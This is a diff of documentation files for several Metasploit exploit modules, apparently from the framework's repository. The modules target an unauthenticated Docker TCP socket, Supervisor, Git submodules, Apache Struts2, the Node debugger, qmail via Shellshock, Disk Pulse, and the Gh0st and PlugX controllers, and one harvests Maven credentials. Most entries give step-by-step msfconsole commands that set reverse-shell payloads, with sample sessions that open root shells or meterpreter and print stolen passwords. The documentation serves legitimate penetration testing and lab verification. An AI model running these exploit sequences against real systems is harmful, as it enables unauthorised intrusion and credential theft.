add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
|
||||||
|
apt-get update
|
||||||
|
apt-get install docker-ce
|
||||||
|
docker run hello-world
|
||||||
|
```
|
||||||
|
|
||||||
|
### Activate unprotected tcp socket
|
||||||
|
Once Docker is installed, customize the Docker daemon options and add
|
||||||
|
the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
|
||||||
|
settings from `/lib/systemd/system/docker.service` with a new file
|
||||||
|
`/etc/systemd/system/docker.service`.
|
||||||
|
|
||||||
|
Further information: [docker systemd][4] and [docker daemon options][5].
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# TL;DR
|
||||||
|
echo "[Service]
|
||||||
|
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl restart docker
|
||||||
|
curl http://127.0.0.1:2375/_ping ; echo
|
||||||
|
OK
|
||||||
|
```
|
||||||
|
|
||||||
|
### Mitigation
|
||||||
|
|
||||||
|
[Disable][5] or [protect][6] the Docker tcp socket.
|
||||||
|
|
||||||
|
# Exploitation
|
||||||
|
This module is designed for the attacker to leverage, creation of a
|
||||||
|
Docker container with out authentication through the Docker tcp socket
|
||||||
|
to gain root access to the hosting server of the Docker container.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
|
||||||
|
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
|
||||||
|
|
||||||
|
## Steps to exploit with module
|
||||||
|
- [ ] Start msfconsole
|
||||||
|
- [ ] use exploit/linux/http/docker_daemon_tcp
|
||||||
|
- [ ] Set the options appropriately and set VERBOSE to true
|
||||||
|
- [ ] Verify it creates a Docker container and it successfully runs
|
||||||
|
- [ ] After a minute a session should be opened from the Docker server
|
||||||
|
|
||||||
|
## Example Output
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/http/docker_daemon_tcp
|
||||||
|
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
|
||||||
|
RHOST => 192.168.66.23
|
||||||
|
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
|
||||||
|
PAYLOAD => python/meterpreter/reverse_tcp
|
||||||
|
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
|
||||||
|
LHOST => 192.168.66.10
|
||||||
|
msf exploit(docker_daemon_tcp) > set VERBOSE true
|
||||||
|
VERBOSE => true
|
||||||
|
msf exploit(docker_daemon_tcp) > check
|
||||||
|
[+] 192.168.66.23:2375 The target is vulnerable.
|
||||||
|
msf exploit(docker_daemon_tcp) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.66.10:4444
|
||||||
|
[*] Check if images exist on the target host
|
||||||
|
[*] Image is not available on the target host
|
||||||
|
[*] Trying to pulling image from docker registry, this may take a while
|
||||||
|
[*] Setting container json request variables
|
||||||
|
[*] Creating the docker container command
|
||||||
|
[*] The docker container is created, waiting for deploy
|
||||||
|
[*] Waiting for the cron job to run, can take up to 60 seconds
|
||||||
|
[*] Waiting until the docker container stopped
|
||||||
|
[*] The docker container has been stopped, now trying to remove it
|
||||||
|
[*] Sending stage (40411 bytes) to 192.168.66.23
|
||||||
|
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
|
||||||
|
[+] Deleted /etc/cron.d/lVoepNpy
|
||||||
|
[+] Deleted /tmp/poasDIuZ
|
||||||
|
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : debian
|
||||||
|
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
|
||||||
|
Architecture : x64
|
||||||
|
System Language : en_US
|
||||||
|
Meterpreter : python/linux
|
||||||
|
meterpreter >
|
||||||
|
```
|
||||||
|
|
||||||
|
[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
|
||||||
|
[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
|
||||||
|
[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
|
||||||
|
[4]:https://docs.docker.com/engine/admin/systemd/
|
||||||
|
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
|
||||||
|
[6]:https://docs.docker.com/engine/security/https/
|
|
@ -56,7 +56,7 @@ dns-nameservers 8.8.8.8
|
||||||
1. Install the software as documented above
|
1. Install the software as documented above
|
||||||
2. Start `msfconsole`
|
2. Start `msfconsole`
|
||||||
3. `use exploit/linux/http/logsign_exec`
|
3. `use exploit/linux/http/logsign_exec`
|
||||||
4. `set rhost 12.0.0.10
|
4. `set rhost 12.0.0.10`
|
||||||
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
|
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
|
||||||
7. `set LHOST 12.0.0.1`
|
7. `set LHOST 12.0.0.1`
|
||||||
8. `check` and validate that you are seeing following output.
|
8. `check` and validate that you are seeing following output.
|
||||||
|
|
|
@ -0,0 +1,78 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2
|
||||||
|
|
||||||
|
This has been tested with versions 3.2.0 and 3.3.2
|
||||||
|
|
||||||
|
### Creating A Testing Environment
|
||||||
|
|
||||||
|
At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories.
|
||||||
|
|
||||||
|
1. ```sudo apt-get install supervisor```
|
||||||
|
2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf`
|
||||||
|
|
||||||
|
```
|
||||||
|
[inet_http_server] ; inet (TCP) server disabled by default
|
||||||
|
port=:9001 ; ip_address:port specifier, *:port for all iface
|
||||||
|
username=user ; default is no username (open server)
|
||||||
|
password=123 ; default is no password (open server)
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Restart the service: `sudo service supervisor restart`
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. ```use exploit/linux/http/supervisor_xmlrpc_exec```
|
||||||
|
2. ```set lhost [IP]```
|
||||||
|
3. ```set rhost [IP]```
|
||||||
|
4. ```set httpusername user```
|
||||||
|
5. ```set httppassword 123```
|
||||||
|
6. ```exploit```
|
||||||
|
7. A meterpreter session should have been opened successfully
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**HttpUsername**
|
||||||
|
|
||||||
|
Username for HTTP basic auth which is set in the conf file(optional)
|
||||||
|
|
||||||
|
**HttpPassword**
|
||||||
|
|
||||||
|
Password for HTTP basic auth which is set in the conf file(optional)
|
||||||
|
|
||||||
|
**TARGETURI**
|
||||||
|
|
||||||
|
The path to the XML-RPC endpoint
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Supervisor 3.2.0 on Xubuntu 16.04
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/http/supervisor_xmlrpc_exec
|
||||||
|
msf exploit(supervisor_xmlrpc_exec) > set httpusername user
|
||||||
|
httpusername => user
|
||||||
|
msf exploit(supervisor_xmlrpc_exec) > set httppassword 123
|
||||||
|
httppassword => 123
|
||||||
|
msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2
|
||||||
|
lhost => 192.168.0.2
|
||||||
|
msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19
|
||||||
|
rhost => 192.168.0.19
|
||||||
|
msf exploit(supervisor_xmlrpc_exec) > check
|
||||||
|
|
||||||
|
[*] Extracting version from web interface..
|
||||||
|
[*] Using basic auth (user:123)
|
||||||
|
[+] Vulnerable version found: 3.2.0
|
||||||
|
[*] 192.168.0.19:9001 The target appears to be vulnerable.
|
||||||
|
msf exploit(supervisor_xmlrpc_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||||
|
[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2
|
||||||
|
[*] Using basic auth (user:123)
|
||||||
|
[*] Sending stage (2878872 bytes) to 192.168.0.19
|
||||||
|
[*] Command Stager progress - 100.00% done (782/782 bytes)
|
||||||
|
[+] Request timeout, usually indicates success. Passing to handler..
|
||||||
|
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100
|
||||||
|
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,62 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Git can be installed on a variety of operating systems, however
|
||||||
|
newer versions may contain the patch for this vulnerability.
|
||||||
|
|
||||||
|
On OSX it can be installed with the XCode command line tools:
|
||||||
|
```xcode-select --install```
|
||||||
|
|
||||||
|
On Linux it can be installed with apt:
|
||||||
|
```sudo apt-get update && sudo apt-get install git```
|
||||||
|
|
||||||
|
You can check the version with ```git --version```.
|
||||||
|
The fix is included in the following version:
|
||||||
|
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
Example steps in this format:
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
1. Start msfconsole
|
||||||
|
1. Do: ```use exploit/multi/http/git_submodule_command_exec```
|
||||||
|
1. Do: ```set SRVHOST [local host]```
|
||||||
|
1. Do: ```set LHOST [local host]```
|
||||||
|
1. Do: ```exploit```
|
||||||
|
1. Clone the malicious Git URI and its submodules
|
||||||
|
1. You should get a shell
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**GIT_URI**
|
||||||
|
|
||||||
|
This is the URI the git repository will be hosted from (defaults to random).
|
||||||
|
|
||||||
|
**GIT_SUBMODULE**
|
||||||
|
|
||||||
|
This is the URI of the submodule within the git repository (defaults to random).
|
||||||
|
The url of this submodule, when cloned, will execute the payload.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
Example usage against a macOS Sierra x64 bit target running git version 2.10.1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/multi/http/git_submodule_command_exec
|
||||||
|
msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
|
||||||
|
SRVHOST => 192.168.0.1
|
||||||
|
msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
|
||||||
|
LHOST => 192.168.0.1
|
||||||
|
msf exploit(git_submodule_command_exec) > exploit
|
||||||
|
[*] Exploit running as background job.
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.0.1:4444
|
||||||
|
msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
|
||||||
|
[*] Server started.
|
||||||
|
[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
|
||||||
|
***
|
||||||
|
Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
|
||||||
|
***
|
||||||
|
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
|
||||||
|
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
|
||||||
|
```
|
|
@ -0,0 +1,47 @@
|
||||||
|
`struts2_rest_xstream` is a module that exploits Apache Struts 2's REST plugin, using the XStream handler to deserialise XML requests perform arbitrary code execution.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12
|
||||||
|
|
||||||
|
You can download these versions here with any version of Apache Tomcat:
|
||||||
|
|
||||||
|
http://archive.apache.org/dist/struts/
|
||||||
|
|
||||||
|
You will also need to install a Struts 2 showcase application, which can be found here:
|
||||||
|
|
||||||
|
https://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**TARGETURI**
|
||||||
|
|
||||||
|
The path to a struts application action
|
||||||
|
|
||||||
|
**VHOST**
|
||||||
|
|
||||||
|
The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional.
|
||||||
|
|
||||||
|
## Demonstration
|
||||||
|
|
||||||
|
**The Check Command**
|
||||||
|
|
||||||
|
The `struts2_rest_xstream` module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
|
||||||
|
|
||||||
|
```
|
||||||
|
set VERBOSE true
|
||||||
|
set RHOST [IP]
|
||||||
|
set TARGETURI [path to the Struts app with an action]
|
||||||
|
```
|
||||||
|
|
||||||
|
When the module is in verbose mode, the `check` command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf exploit(struts2_rest_xstream) > check
|
||||||
|
|
||||||
|
[+] 10.1.11.11:8080 The target appears to be vulnerable.
|
||||||
|
```
|
||||||
|
|
||||||
|
**Exploiting the Host**
|
||||||
|
|
||||||
|
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
|
|
@ -0,0 +1,64 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Current and historical versions of node (or any JS env based on the
|
||||||
|
V8 JS engine) have this functionality and could be exploitable if
|
||||||
|
configured to expose the JS port on an untrusted interface.
|
||||||
|
|
||||||
|
Install a version of node using any of the normal methods:
|
||||||
|
* Vendor: https://nodejs.org/en/download/package-manager/
|
||||||
|
* Distro: `sudo apt-get install nodejs`
|
||||||
|
|
||||||
|
Alternately, use standard node docker containers as targets:
|
||||||
|
```
|
||||||
|
$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858
|
||||||
|
```
|
||||||
|
(Others at https://hub.docker.com/_/node/)
|
||||||
|
|
||||||
|
Tested on Node 7.x, 6.x, 4.x
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Run a node process exposing the debug port
|
||||||
|
```
|
||||||
|
node --debug=0.0.0.0:5858
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Exploit it and catch the callback:
|
||||||
|
|
||||||
|
```
|
||||||
|
msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit
|
||||||
|
```
|
||||||
|
(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)
|
||||||
|
|
||||||
|
Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity
|
||||||
|
(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Example Run (Node 7.x)
|
||||||
|
|
||||||
|
Victim:
|
||||||
|
```
|
||||||
|
$ node --version
|
||||||
|
v7.10.0
|
||||||
|
$ node --debug=0.0.0.0:5858
|
||||||
|
(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
|
||||||
|
Debugger listening on 0.0.0.0:5858
|
||||||
|
>
|
||||||
|
(To exit, press ^C again or type .exit)
|
||||||
|
```
|
||||||
|
|
||||||
|
Attacker:
|
||||||
|
```
|
||||||
|
msf exploit(nodejs_v8_debugger) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 10.0.0.141:4444
|
||||||
|
[*] 127.0.0.1:5858 - Sending 745 byte payload...
|
||||||
|
[*] 127.0.0.1:5858 - Got success response
|
||||||
|
[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700
|
||||||
|
|
||||||
|
id
|
||||||
|
(redacted)
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,82 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Any qmail version (works on latest versions, qmail-1.03 and netqmail-1.06) running on a system with a vulnerable BASH (Shellshock). In order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.
|
||||||
|
|
||||||
|
## Setting up a vulnerable environment
|
||||||
|
|
||||||
|
Install Qmail on a Linux server with a shellshock vulnerable bash. Ensure that /bin/sh is linked to bash. Create an e-mail account on that qmail server. IMPORTANT: there is a community version of qmail, "qmailrocks" (http://qmailrocks.thibs.com/) which apply a patch that checks the vulnerable MAILFROM parameter. This version (with the patch applied) is NOT vulnerable. If you are using this version, change the "int mfcheck()" function on qmail-smtpd.c and ensure it returns always 0 (after applying the patch) and re-compile qmail-smtpd.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. `use exploit/unix/smtp/qmail_bash_env_exec`
|
||||||
|
2. `set RHOST <target IP>`
|
||||||
|
3. `set MAILTO <valid e-mail recipient>`
|
||||||
|
4. `set payload cmd/unix/reverse`
|
||||||
|
5. `set LHOST <local IP>`
|
||||||
|
7. optionally set `RPORT` and `LPORT`
|
||||||
|
8. `exploit`
|
||||||
|
9. **Verify** a new shell session is started
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**MAILTO**
|
||||||
|
|
||||||
|
A valid e-mail recipient. Usually, admin@targetdomain.com can be used.
|
||||||
|
|
||||||
|
## Sample Output
|
||||||
|
**Tested on qmail-1.03 on Debian 6.0.6 (squeeze). BASH version 4.1.5(1).**
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/unix/smtp/qmail_bash_env_exec
|
||||||
|
msf exploit(qmail_bash_env_exec) > set rhost 192.168.1.113
|
||||||
|
rhost => 192.168.1.113
|
||||||
|
msf exploit(qmail_bash_env_exec) > set mailto "admin@testqmail2.test"
|
||||||
|
mailto => admin@testqmail2.test
|
||||||
|
msf exploit(qmail_bash_env_exec) > set payload cmd/unix/reverse
|
||||||
|
payload => cmd/unix/reverse
|
||||||
|
msf exploit(qmail_bash_env_exec) > show options
|
||||||
|
|
||||||
|
Module options (exploit/unix/smtp/qmail_bash_env_exec):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
MAILTO admin@testqmail2.test yes TO address of the e-mail
|
||||||
|
RHOST 192.168.1.113 yes The target address
|
||||||
|
RPORT 25 yes The target port (TCP)
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (cmd/unix/reverse):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
LHOST 192.168.1.102 yes The listen address
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Automatic
|
||||||
|
|
||||||
|
|
||||||
|
msf exploit(qmail_bash_env_exec) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP double handler on 192.168.1.102:4444
|
||||||
|
[*] 192.168.1.113:25 - Sending the payload...
|
||||||
|
[*] 192.168.1.113:25 - Sending RCPT TO admin@testqmail2.test
|
||||||
|
[*] Accepted the first client connection...
|
||||||
|
[*] Accepted the second client connection...
|
||||||
|
[*] Command: echo RvZfov9i2ZuveLXA;
|
||||||
|
[*] Writing to socket A
|
||||||
|
[*] Writing to socket B
|
||||||
|
[*] Reading from sockets...
|
||||||
|
[*] Reading from socket B
|
||||||
|
[*] B: "RvZfov9i2ZuveLXA\r\n"
|
||||||
|
[*] Matching...
|
||||||
|
[*] A is input...
|
||||||
|
[*] Command shell session 19 opened (192.168.1.102:4444 -> 192.168.1.113:48167) at 2017-05-04 15:11:02 +0200
|
||||||
|
|
||||||
|
whoami
|
||||||
|
vpopmail
|
||||||
|
```
|
|
@ -17,7 +17,7 @@ The module includes an option named UsePostHTML which is turned off by default.
|
||||||
|
|
||||||
1. Start msfconsole
|
1. Start msfconsole
|
||||||
2. Do: ```use exploit/windows/browser/firefox_smil_uaf```
|
2. Do: ```use exploit/windows/browser/firefox_smil_uaf```
|
||||||
3. Do: ```set payload [PREFERRED PAYLOAD]
|
3. Do: ```set payload [PREFERRED PAYLOAD]```
|
||||||
4. Do: ```set PAYLOAD [PAYLOAD NAME]```
|
4. Do: ```set PAYLOAD [PAYLOAD NAME]```
|
||||||
5. Set payload options as needed
|
5. Set payload options as needed
|
||||||
6. Do: ```run```, and have a target browse to the generated URL
|
6. Do: ```run```, and have a target browse to the generated URL
|
||||||
|
|
|
@ -0,0 +1,55 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Tested on Windows 7 x64 and x86.
|
||||||
|
|
||||||
|
Install the application from the link below and enable the web server by going to Options -> Server -> Enable Web Server on Port.
|
||||||
|
|
||||||
|
[Disk Pulse Enterprise v 9.9.16](https://www.exploit-db.com/apps/45ce22525c87c0762f6e467db6ddfcbc-diskpulseent_setup_v9.9.16.exe)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application and set the option above to enable the web server
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: ```use exploit/windows/http/disk_pulse_enterprise_get```
|
||||||
|
5. Set options and payload
|
||||||
|
6. Do: ```run```
|
||||||
|
7. You should get a shell.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**RHOST**
|
||||||
|
|
||||||
|
IP address of the remote host running the server.
|
||||||
|
|
||||||
|
**RPORT**
|
||||||
|
|
||||||
|
Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
To obtain a shell:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/windows/http/disk_pulse_enterprise_get
|
||||||
|
msf exploit(disk_pulse_enterprise_get) > set payload windows/shell_reverse_tcp
|
||||||
|
payload => windows/shell_reverse_tcp
|
||||||
|
msf exploit(disk_pulse_enterprise_get) > set RHOST x.x.x.x
|
||||||
|
RHOST => x.x.x.x
|
||||||
|
msf exploit(disk_pulse_enterprise_get) > set LHOST y.y.y.y
|
||||||
|
LHOST => y.y.y.y
|
||||||
|
msf exploit(disk_pulse_enterprise_get) > set LPORT 1234
|
||||||
|
LPORT => 1234
|
||||||
|
msf exploit(disk_pulse_enterprise_get) > set RPORT 8080
|
||||||
|
RPORT => 8080
|
||||||
|
msf exploit(disk_pulse_enterprise_get) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on y.y.y.y:1234
|
||||||
|
[*] Generating exploit...
|
||||||
|
[*] Sending exploit...
|
||||||
|
[*] Command shell session 1 opened (y.y.y.y:1234 -> x.x.x.x:64567) at 2017-09-14 10:52:06 -0500
|
||||||
|
|
||||||
|
Microsoft Windows [Version 6.1.7600]
|
||||||
|
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
C:\Windows\system32>
|
||||||
|
```
|
|
@ -0,0 +1,42 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim.
|
||||||
|
This vulnerability can allow remote code execution in the context of the user who ran it.
|
||||||
|
|
||||||
|
A vulnerable version of the software is available here: [gh0st 3.6](https://github.com/rapid7/metasploit-framework/files/1243297/0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c.zip)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Run the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: `use exploit/windows/misc/gh0st`
|
||||||
|
4. Do: `set rhost [ip]`
|
||||||
|
5. Do: `exploit`
|
||||||
|
6. Get a shell
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**MAGIC**
|
||||||
|
|
||||||
|
This is the 5 character magic used by the server. The default is `Gh0st`
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Windows XP SP3 with gh0st 3.6
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/windows/misc/gh0st
|
||||||
|
msf exploit(gh0st) > set rhost 192.168.2.108
|
||||||
|
rhost => 192.168.2.108
|
||||||
|
msf exploit(gh0st) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 1.2.3.4:4444
|
||||||
|
[*] 1.2.3.1:80 - Trying target Gh0st Beta 3.6
|
||||||
|
[*] 1.2.3.1.108:80 - Spraying heap...
|
||||||
|
[*] 1.2.3.1:80 - Trying command 103...
|
||||||
|
[*] Sending stage (956991 bytes) to 1.2.3.1
|
||||||
|
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 1.2.3.1:1303) at 2017-08-26 16:53:58 -0400
|
||||||
|
[*] 1.2.3.1:80 - Server closed connection
|
||||||
|
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,42 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message.
|
||||||
|
This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
|
||||||
|
|
||||||
|
A vulnerable version of the software is available here: [PlugX type 1](https://github.com/rapid7/metasploit-framework/files/1243293/9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6.zip)
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
1. Run the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: `use exploit/windows/misc/plugx`
|
||||||
|
4. Do: `set rhost [ip]`
|
||||||
|
5. Do: `set target [target]`
|
||||||
|
6. Do: `exploit`
|
||||||
|
7. Click OK for the "PeDecodePacket" pop-up on the target
|
||||||
|
8. Get a shell
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Windows XP SP3 with PlugX type 1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/windows/misc/plugx
|
||||||
|
msf exploit(plugx) > set rhost 1.2.3.4
|
||||||
|
rhost => 1.2.3.4
|
||||||
|
msf exploit(plugx) > set target 1
|
||||||
|
target => 1
|
||||||
|
msf exploit(plugx) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf exploit(plugx) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 1.2.3.99:4444
|
||||||
|
[*] 1.2.3.4:13579 - Trying target PlugX Type I...
|
||||||
|
[*] 1.2.3.4:13579 - waiting for response
|
||||||
|
[*] Sending stage (956991 bytes) to 1.2.3.4
|
||||||
|
[*] Meterpreter session 1 opened (1.2.3.99:4444 -> 1.2.3.4:1975) at 2017-09-04 19:53:07 -0400
|
||||||
|
[*] 1.2.3.4:13579 - Server closed connection
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: WINXP\user
|
||||||
|
```
|
|
@ -30,6 +30,10 @@ PIDs to ASCII.
|
||||||
|
|
||||||
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
|
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
|
||||||
|
|
||||||
|
**FC**
|
||||||
|
|
||||||
|
Optional. If true forces sending flow control packets on all multibyte ISO-TP requests
|
||||||
|
|
||||||
## Scenarios
|
## Scenarios
|
||||||
|
|
||||||
Given a standard vehicle ECU that is connected to can2 of the HWBridge device:
|
Given a standard vehicle ECU that is connected to can2 of the HWBridge device:
|
||||||
|
|
|
@ -0,0 +1,64 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[Maven](https://maven.apache.org/) a software project management.
|
||||||
|
This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
|
||||||
|
Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
|
||||||
|
<repository> tag in order to find the full realm the credentials belong to.
|
||||||
|
|
||||||
|
This module was successfully tested against:
|
||||||
|
|
||||||
|
- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
|
||||||
|
- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Get a `shell` or `meterpreter` session on some host.
|
||||||
|
2. Do: ```use post/multi/gather/maven_creds```
|
||||||
|
3. Do: ```set SESSION [SESSION_ID]```
|
||||||
|
4. Do: ```run```
|
||||||
|
5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Ubuntu 14.04 and Maven version 3.0.5
|
||||||
|
|
||||||
|
```
|
||||||
|
msf post(maven_creds) > run
|
||||||
|
|
||||||
|
[*] Finding user directories
|
||||||
|
[*] Unix OS detected
|
||||||
|
[*] Looting 19 files
|
||||||
|
[*] Downloading /home/user/settings.xml
|
||||||
|
[*] Reading settings.xml file from /home/user/settings.xml
|
||||||
|
[*] Collected the following credentials:
|
||||||
|
[*] Id: server-nexus-dev
|
||||||
|
[*] Username: deploynexus-dev
|
||||||
|
[*] Password: password-dev
|
||||||
|
[*] Try to find url from id...
|
||||||
|
[*] No url found, id will be set as realm
|
||||||
|
|
||||||
|
[*] Collected the following credentials:
|
||||||
|
[*] Id: server-nexus-int
|
||||||
|
[*] Username: deploynexus-int
|
||||||
|
[*] Password: password-int
|
||||||
|
